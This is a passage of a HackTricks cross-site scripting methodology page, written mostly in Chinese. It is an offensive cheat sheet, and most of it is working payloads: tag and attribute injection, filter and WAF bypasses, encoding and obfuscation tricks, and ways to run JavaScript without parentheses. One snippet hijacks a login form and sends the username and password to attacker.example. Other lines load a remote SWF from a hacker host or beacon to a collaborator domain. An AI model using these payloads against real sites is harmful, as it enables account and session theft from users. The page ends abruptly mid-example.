%.*s
XSS (Cross Site Scripting)
Reading time: 66 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
方法论
- 检查是否任何你控制的值 (parameters, path, headers?, cookies?) 被反射在 HTML 中或被 JS 代码使用。
- 找出它被反射/使用的上下文。
- 如果被反射
- 检查你可以使用哪些符号,并据此准备 payload:
- 在原始 HTML中:
- 能否创建新的 HTML 标签?
- 能否使用支持
javascript:协议的事件或属性? - 能否绕过防护措施?
- HTML 内容是否被任何 client side JS 引擎(AngularJS, VueJS, Mavo...)解释,你可以利用 Client Side Template Injection。
- 如果你无法创建能执行 JS 的 HTML 标签,是否可以利用 Dangling Markup - HTML scriptless injection?
- 在HTML 标签内部:
- 能否退出到原始 HTML 上下文?
- 能否创建新的事件/属性来执行 JS 代码?
- 你被困的属性是否支持 JS 执行?
- 能否绕过防护?
- 在JavaScript 代码内部:
- 能否转义
<script>标签? - 能否转义字符串并执行不同的 JS 代码?
- 你的输入是否在模板字面量 `` 中?
- 能否绕过防护?
- Javascript function 被执行
- 你可以指定要执行的函数名。例如:
?callback=alert(1) - 如果被使用:
- 你可能能利用 DOM XSS,注意你的输入如何被控制以及你的受控输入是否被任何 sink 使用。
在处理复杂的 XSS 时,你可能会想了解:
被反射的值
为了成功利用 XSS,首先需要找到一个被你控制且在网页中被反射的值。
- 中间反射:如果你发现参数的值或者路径在网页中被反射,你可以利用 Reflected XSS。
- 被存储并反射:如果你发现你控制的值被保存在服务器上,并且每次访问页面时都会被反射,你可以利用 Stored XSS。
- 通过 JS 访问:如果你发现你控制的值被 JS 访问,你可以利用 DOM XSS。
上下文
在尝试利用 XSS 时,首先需要知道你的输入在哪被反射。根据上下文,你可以通过不同的方式执行任意的 JS 代码。
原始 HTML
如果你的输入被反射在原始 HTML 页面上,你需要滥用一些 HTML 标签 来执行 JS 代码: <img , <iframe , <svg , <script ... 这些只是你可以使用的众多 HTML 标签中的一部分。
另请记住 Client Side Template Injection。
在 HTML 标签属性内
如果你的输入被反射在某个标签属性的值内,你可以尝试:
- 尝试从属性和标签中脱离(这样你就处于原始 HTML),并创建新的 HTML 标签以滥用:
"><img [...] - 如果你可以从属性中脱离但不能脱离标签(
>被编码或删除),根据标签的不同你可以创建一个事件来执行 JS 代码:" autofocus onfocus=alert(1) x=" - 如果你不能从属性中脱离(
"被编码或删除),那么取决于哪个属性中反射你的值,以及你是控制整个值还是只是其中一部分,你将能够滥用它。例如,如果你控制一个像onclick=这样的事件,你可以使其在被点击时执行任意代码。另一个有趣的例子是属性href,你可以使用javascript:协议来执行任意代码:href="javascript:alert(1)" - 如果你的输入被反射在“不可利用的标签”内部,你可以尝试
accesskey技巧来滥用该漏洞(你需要一些社会工程手段来利用它):" accesskey="x" onclick="alert(1)" x="
如果你控制类名,Angular 执行 XSS 的一个奇怪示例:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
在 JavaScript 代码内部
在这种情况下,你的输入会被反射到 HTML 页面中的 <script> [...] </script> 标签之间,或者位于 .js 文件中,或位于使用 javascript: 协议的属性中:
- 如果被反射到
<script> [...] </script>标签之间,即使你的输入位于任意类型的引号内,你也可以尝试注入</script>来逃离此上下文。这样做有效的原因是 浏览器会先解析 HTML 标签 然后再解析内容,因此它不会注意到你注入的</script>标签实际上在 HTML 代码中。 - 如果被反射到 JS 字符串内部,并且上一招不起作用,你需要退出字符串、执行你的代码并重构 JS 代码(如果有任何错误,代码将不会被执行):
'-alert(1)-'';-alert(1)//\';alert(1)//- 如果被反射到模板字面量内部,你可以使用
${ ... }语法嵌入 JS 表达式:var greetings = `Hello, ${alert(1)}` - Unicode 编码 可以用于编写有效的 javascript 代码:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting 指的是有机会在使用之后声明函数、变量或类,从而可以滥用那些 XSS 使用未声明变量或函数的场景。
查阅以下页面以获取更多信息:
Javascript Function
Several web pages have endpoints that 接受作为参数要执行的函数名。常见的实际例子像:?callback=callbackFunc。
判断用户直接提供的内容是否会被执行的一个好方法是修改该参数的值(例如改为 'Vulnerable'),并在控制台查找类似的错误:
.png)
如果存在漏洞,你可能只需发送该值就能触发一个 alert:?callback=alert(1)。然而,这类 endpoints 很常见会校验内容,只允许字母、数字、点和下划线([\w\._])。
不过,即使有上述限制,仍可执行某些操作。这是因为你可以使用这些合法字符来访问 DOM 中的任意元素:
.png)
一些有用的函数:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
你也可以尝试直接触发 Javascript 函数:obj.sales.delOrders。
然而,通常执行所示函数的端点并没有太多有趣的 DOM,同源的其他页面会有更有趣的 DOM以执行更多操作。
因此,为了在不同的 DOM 中滥用此漏洞,开发了Same Origin Method Execution (SOME) 利用方法:
SOME - Same Origin Method Execution
DOM
存在JS 代码不安全地使用某些由攻击者控制的数据,例如 location.href。攻击者可以滥用这一点来执行任意 JS 代码。
Universal XSS
这种类型的 XSS 可以在任何地方发现。它们不仅依赖于对 Web 应用的客户端利用,而是依赖于任何****上下文。这种任意 JavaScript 执行甚至可以被滥用以获取 RCE、在客户端和服务器上读取任意文件,等等。
一些示例:
WAF bypass encoding image
.jpg)
注入到原始 HTML 中
当你的输入被反射在HTML 页面内部,或者你可以在该上下文中转义并注入 HTML 代码时,第一件需要做的事情是检查是否可以滥用 < 来创建新标签:尝试反射该字符并检查它是否被HTML 编码或被删除,或者是否被无变化地反射。只有在最后一种情况下你才能利用该场景。
对于这类情况也请记住 Client Side Template Injection。
注:HTML 注释可以通过使用****-->****or **--!>****
在这种情况下,如果没有使用黑/白名单过滤,你可以使用类似如下的 payload:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
但是,如果正在使用 tags/attributes black/whitelisting,你需要 brute-force which tags 你可以创建。
一旦你 located which tags are allowed,你需要在找到的有效 tags 内 brute-force attributes/events,以查看如何攻击该上下文。
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. 然后,使用 Burp intruder 发送它们的全部项,并检查是否有任何 tags 未被 WAF 识别为恶意。一旦发现可使用的 tags,就可以使用这些有效 tags brute force all the events(在同一网页点击 Copy events to clipboard 并重复之前的步骤)。
Custom tags
如果没有找到任何有效的 HTML tag,你可以尝试 create a custom tag 并使用 onfocus attribute 来执行 JS 代码。在 XSS 请求中,URL 需要以 # 结尾,以使页面 focus on that object 并 execute 该代码:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
黑名单绕过
如果使用了某种黑名单,你可以尝试用一些小技巧来绕过它:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
最后一个使用了 2 个 Unicode 字符,会展开为 5 个:telsr\
更多此类字符可以在 here 找到。
要检查哪些字符被分解,请查看 here。
Click XSS - Clickjacking
如果为了利用该漏洞你需要用户点击带有预填数据的链接或表单,可以尝试滥用 Clickjacking(如果页面存在漏洞)。
Impossible - Dangling Markup
如果你认为不可能创建带有可执行 JS 代码的 HTML tag 和属性,你应该查看Danglig Markup,因为你可能在不执行 JS 代码的情况下利用该漏洞。
Injecting inside HTML tag
Inside the tag/escaping from attribute value
如果你处于HTML tag 内,首先可以尝试从 tag 逃逸并使用上一节中提到的一些技术来执行 JS 代码。
如果你无法从 tag 逃逸,可以在 tag 内创建新的 attributes 来尝试执行 JS 代码,例如使用如下 payload(注意在此示例中使用双引号来从 attribute 中逃逸,如果你的输入直接反射在 tag 内则不需要它们):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
样式事件
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
在属性内
即使你 无法从属性中跳出 (" is being encoded or deleted),取决于 哪个属性 你的值被反射到,以及你 是否控制整个值还是只有一部分,你仍然能够滥用它。举个 例子,如果你控制一个像 onclick= 的事件,当它被点击时你可以让它执行任意代码.\
另一个有趣的 例子 是属性 href,你可以使用 javascript: 协议来执行任意代码:href="javascript:alert(1)"
在事件内使用 HTML 编码/URL 编码 绕过
HTML 标签属性值中的 HTML 编码字符 会在 运行时被解码。因此像下面这样的写法是有效的(有效载荷以粗体表示): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
注意 任何形式的 HTML 编码都是有效的:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
注意,URL encode 也可行:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
在事件内部使用 Unicode 编码绕过
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
属性内的特殊协议
在那里你可以在某些位置使用协议 javascript: 或 data: 来 execute arbitrary JS code。有些需要用户交互,有些则不需要。
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
可以注入这些协议的位置
一般来说 javascript: 协议可以 在任何接受属性 href 的标签中使用 并且在 大多数 接受 属性 src 的标签中(但不包括 <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Other obfuscation tricks
在这种情况下,HTML 编码和上一节中的 Unicode 编码技巧也适用,因为你处于属性内部。
<a href="javascript:var a=''-alert(1)-''">
此外,对于这些情况还有一个好技巧:即使你在 javascript:... 中的输入被 URL encoded,它也会在执行前被 URL decoded。 因此,如果你需要使用 escape 从 string 中通过 single quote 跳出,并且你看到 它被 URL encoded,记住 这无关紧要, 它会在 执行 时被 解释为 single quote。
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
注意,如果你尝试同时使用 URLencode + HTMLencode 以任意顺序对payload进行编码,不会****起作用,但你可以在payload内部混合它们。
使用 Hex 和 Octal encode 与 javascript:
你可以在 iframe 的 src 属性(至少)中使用 Hex 和 Octal encode 来声明 HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
如果你能在任意包含 target="_blank" and rel="opener" 属性的 <a href= 标签中注入任意 URL,请查看以下页面以利用此行为:
on 事件处理器绕过
首先查看该页面 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),了解有用的 "on" 事件处理器。
如果存在某些黑名单阻止你创建这些事件处理器,可以尝试以下绕过方法:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS 在 "Unexploitable tags" (hidden input, link, canonical, meta)
从 here 现在可以通过以下方法滥用 hidden inputs:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
并在 meta 标签:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
来自 here: 你可以执行 XSS payload inside a hidden attribute,前提是你能说服****受害者按下键组合。在 Firefox Windows/Linux 上,键组合是 ALT+SHIFT+X,在 OS X 上是 CTRL+ALT+X。你可以通过在 access key attribute 中使用不同的键来指定不同的键组合。攻击向量如下:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload 将类似于: " accesskey="x" onclick="alert(1)" x="
黑名单绕过
本节已经展示了几种使用不同编码的技巧。请返回学习你可以在哪里使用:
- HTML encoding (HTML tags)
- Unicode encoding (可以是有效的 JS 代码):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
针对 HTML tags 和 attributes 的绕过
阅读上一节的黑名单绕过。
针对 JavaScript 代码 的绕过
CSS-Gadgets
如果你在网页的一个非常小的部分发现了 XSS,且它需要某种交互(比如页脚的一个带有 onmouseover 的小链接),你可以尝试修改该元素占据的空间,以最大化触发该链接的概率。
例如,你可以在元素中添加一些样式,比如:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
但是,如果 WAF 在过滤 style 属性,你可以使用 CSS Styling Gadgets,例如,如果你发现
.test {display:block; color: blue; width: 100%}
和
#someid {top: 0; font-family: Tahoma;}
现在你可以修改我们的链接,使其变为如下形式
<a href="" id=someid class=test onclick=alert() a="">
在 JavaScript 代码 中注入
在这种情况下,你的 输入 会被反射到 .js 文件的 JS 代码 中,或在 <script>...</script> 标签之间,或在可以执行 JS 的 HTML 事件之间,或在接受 javascript: 协议的属性之间。
逃逸 <script> 标签
如果你的代码被插入到 <script> [...] var input = 'reflected data' [...] </script> 中,你可以很容易地逃逸关闭 <script> 标签:
</script><img src=1 onerror=alert(document.domain)>
注意,在这个示例中我们甚至都没有闭合单引号。这是因为HTML 解析首先由浏览器执行,它会识别页面元素,包括脚本块。对 JavaScript 的解析以理解并执行嵌入的脚本只有在随后才会进行。
在 JS 代码内
如果 <> 被过滤,你仍然可以在你的输入被放置的字符串中转义并执行任意 JS。重要的是要修复 JS 语法,因为如果有任何错误,JS 代码将不会被执行:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
当用户输入落入被引号包裹的 JavaScript 字符串内(例如,server-side echo 到 inline script),你可以终止该字符串、注入代码,然后修复语法以保持解析有效。通用框架:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式:
?param=test";<INJECTION>;a="
这会执行攻击者的 JS,而无需接触 HTML 上下文(纯 JS-in-JS)。当过滤器阻止关键字时,可与下面的 blacklist bypasses 结合使用。
Template literals ``
为了构造 strings,除了单引号和双引号外,JS 也接受 backticks ``。这被称为 template literals,因为它们允许使用 ${ ... } 语法来 embedded JS expressions。
因此,如果你发现你的输入被 reflected 放在使用反引号的 JS 字符串内部,你可以滥用 ${ ... } 语法来执行 arbitrary JS code:
这可以abused使用:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
编码后的代码执行
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
可交付的 payloads(使用 eval(atob()))与作用域细微差别
为了保持 URL 更短并绕过简单的关键字过滤器,你可以对真实逻辑进行 base64 编码并用 eval(atob('...')) 来执行。如果简单的关键字过滤阻止诸如 alert、eval 或 atob 之类的标识符,可以使用 Unicode 转义的标识符,它们在浏览器中编译后与原始标识符完全相同,但可以规避字符串匹配过滤:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
重要的作用域细节:const/let 在 eval() 内声明是块级作用域,并且不会创建 globals;它们不会被后续 scripts 访问。需要时使用动态注入的 <script> element 来定义全局、不可重新绑定的 hooks(例如,用于劫持 form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
参考: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode 编码 JS 执行
alert(1)
alert(1)
alert(1)
JavaScript 绕过黑名单技术
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
特殊转义
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS 代码中的空格替换
<TAB>
/**/
JavaScript 注释 (来自 JavaScript Comments 技巧)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript 换行 (来自 JavaScript new line 技巧)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript 空白字符
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript 在注释内
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript 无需括号
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
任意函数 (alert) 调用
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href . 攻击者可以滥用此点执行任意 JS 代码。
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
在那里你会找到关于 DOM vulnerabilities 是什么、如何被触发以及如何利用 的详细解释。
另外,不要忘记在所述文章的末尾你可以找到关于 DOM Clobbering attacks 的解释。
Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
你可以在 this blog post 找到对此技术的一个优秀滥用示例。
Sending your session to the admin
可能用户可以与 admin 分享他的 profile,如果 self XSS 存在于用户的 profile 中且 admin 访问它,就会触发该漏洞。
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
你可以让 administrator trigger your self XSS 并窃取他的 cookies/session。
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
由于 RoR mass assignment,引号会被插入到 HTML 中,进而绕过引号限制,并且可以在标签内部添加额外字段(onfocus)。
表单示例 (from this report),如果你发送 payload:
